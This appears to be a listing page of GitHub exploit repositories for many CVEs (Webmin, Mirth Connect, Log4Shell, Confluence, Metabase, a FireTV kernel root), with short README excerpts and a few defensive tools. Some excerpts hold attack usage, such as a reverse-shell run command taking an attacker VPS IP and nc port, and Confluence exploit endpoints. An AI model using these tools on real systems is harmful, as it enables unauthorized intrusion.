CVE-2018-17552

CVE-2018-17552 View doc here https://docs.google.com/document/d/1Enu58910099gFJ24AGkOtnJoQgtAibm2/edit?usp=sharing&ouid=116617095858459545855&rtpof=true&sd=true...

CVE-2024-34741

This repository does not have a README...

Modified-CVE-2019-15107

CVE-2019-15107 Asegúrate de cambiar manualmente shellperl LHOST y LPORT en la línea 29 antes de la ejecución. Modificado de: https://github.com/ketlerd/CVE-2019-15107...

Extracting-User-credentials-For-Web-portal-and-WiFi-AP-For-Hathway-Router-CVE-2024-44815-

Extracting-User-credentials-For-Hathway-Router Via SPI flash-CVE-2024-44815 Vulnerability Description: During the security assessment of the Router firmware, it was observed that router login credentials of both web portal and Wi-Fi access point are stored in plain text in SPI flash memoey...

CVE-2023-43208-MIRTHCONNECT

CVE-2023-43208 NextGen Healthcare Mirth Connect before version 4.4.1 is vulnerable to unauthenticated remote code execution. Note that this vulnerability is caused by the incomplete patch of CVE-2023-37679. FIRST: I AM NOT RESPONSIBLE FOR WHAT YOU DO WITH IT. SECOND: apt-get install parallel curl...

CVE-2014-3120

CVE-2014-3120...

CVE-2021-21315-POC

CVE-2021-21315-POC...

CVE-2021-44228-poc

CVE-2021-44228-poc CVE-2021-44228 POC / Example...

Project-Exploiting-a-Vulnerability-in-Fuel-CMS-CVE-2018-16763-

The goal of this project was to conduct a security audit of a blog recently launched by Ackme Support Incorporated, identifying any critical vulnerabilities before the site goes public. The task involved finding a way to remotely execute code and gain access to the target system. Environment &...

suricata-vedas

Suricata VEDAS VEDAS-Driven Autonomous Generation of Suricata Rules for CVEs Purpose This repository serves as an open, collaborative validation space for Suricata rules generated autonomously by ARPSyndicate's Vulnerability & Exploit Data Aggregation System VEDAS. While such AI enables rapid,...

CVE_2022_46395_Gazelle

用于在FireTV第三代Cube上运行的CVE-2022-46395利用程序 这是安全研究员 Man Yue Mo 的 Pixel 6 POC 针对 CVE-2022-46395 的一个分支。 阅读他的详细漏洞分析文章 这里。 已进行修改以适应 FireOS 的 32 位用户空间。该 POC 利用了 ARM Mali 内核驱动中的一个 bug，获取任意内核代码执行权限，然后用于禁用 SELinux 并获得 root 权限。 该利用程序已在 PS7664/3772（2023 年 9 月）中被修补。供参考，以下命令用于使用 ndk-21 中的 clang 编译： root@kitploit:...

CVE-2022-29464

CVE-2022-29464...

CVE-2025-34300POC

Sawtooth Lighthouse Studio has a template injection vulnerability CVE-2025-34300 Parameters: root@kitploit: options: -h, --help show this help message and exit -u URL, --url URL 请输入待检测的URL -f FILE, --file FILE 请输入一行一个URL的文件地址 Examples: root@kitploit: 单个检测： python .\CVE-2025-34300POC.py -u URL 批量检...

Confluence_CVE-2021-26084

ConfluenceCVE-2021-26084 Remote Code Execution on Confluence Servers : CVE-2021-26084 PoC Confluence Possible exploit endpoints root@kitploit: https:///login https:///pages/templates2/viewpagetemplate.action https:///template/custom/content-editor https:///templates/editor-preload-container...

zap-scripts

zap-scripts 用于查找CVE和秘密信息的Zed Attack Proxy脚本。 构建 本项目使用Gradle构建ZAP插件，只需运行： root@kitploit: ./gradlew build 在项目主目录下，插件将被放置在目录 build/zapAddOn/bin/ 中。 使用 在ZAP中使用此仓库最简单的方法是将该目录添加到ZAP的脚本目录中（在选项 - 脚本下）。 不过，您也可以构建插件并安装它（在文件 - 加载插件文件...下）。 许可证 本软件基于MIT许可证分发。 致谢 active 目录下的脚本大部分移植自出色的 nuclei-templates...

CVE-2019-2725

CVE-2019-2725...

CVE-2021-40444-Sample

CVE-2021-40444-Sample CVE-2021-40444 Sample...

wildfly__wildfly_CVE-2018-1047_11-0-0-Final

WildFly Application Server http://wildfly.org Fast Startup Small Footprint Modular Design Unified Configuration and Management And of course Java EE7! Building Prerequisites: JDK 8 or newer - check java -version Maven 3.3.1 or newer - check mvn -v On nix systems, make sure that the maximum number...

exploit-CVE-2016-10033

PHPMailer 5.2.18 Remote Code Execution PHPMailer is the world's most popular transport class, with an estimated 9 million users worldwide. Downloads continue at a significant pace daily. Used by many open-source projects: WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla! and many more PHPMailer...

cve-2023-38646-metabase-ReverseShell

cve-2023-38646-metabase-ReverseShell run command go run .\CVE-2023-38646-metabase-ReverseShell.go -u http://target.com:targetPort -h Your VPS IPaddr -p NC listen Port note when you input the target host , please do not forget the http:// or https://...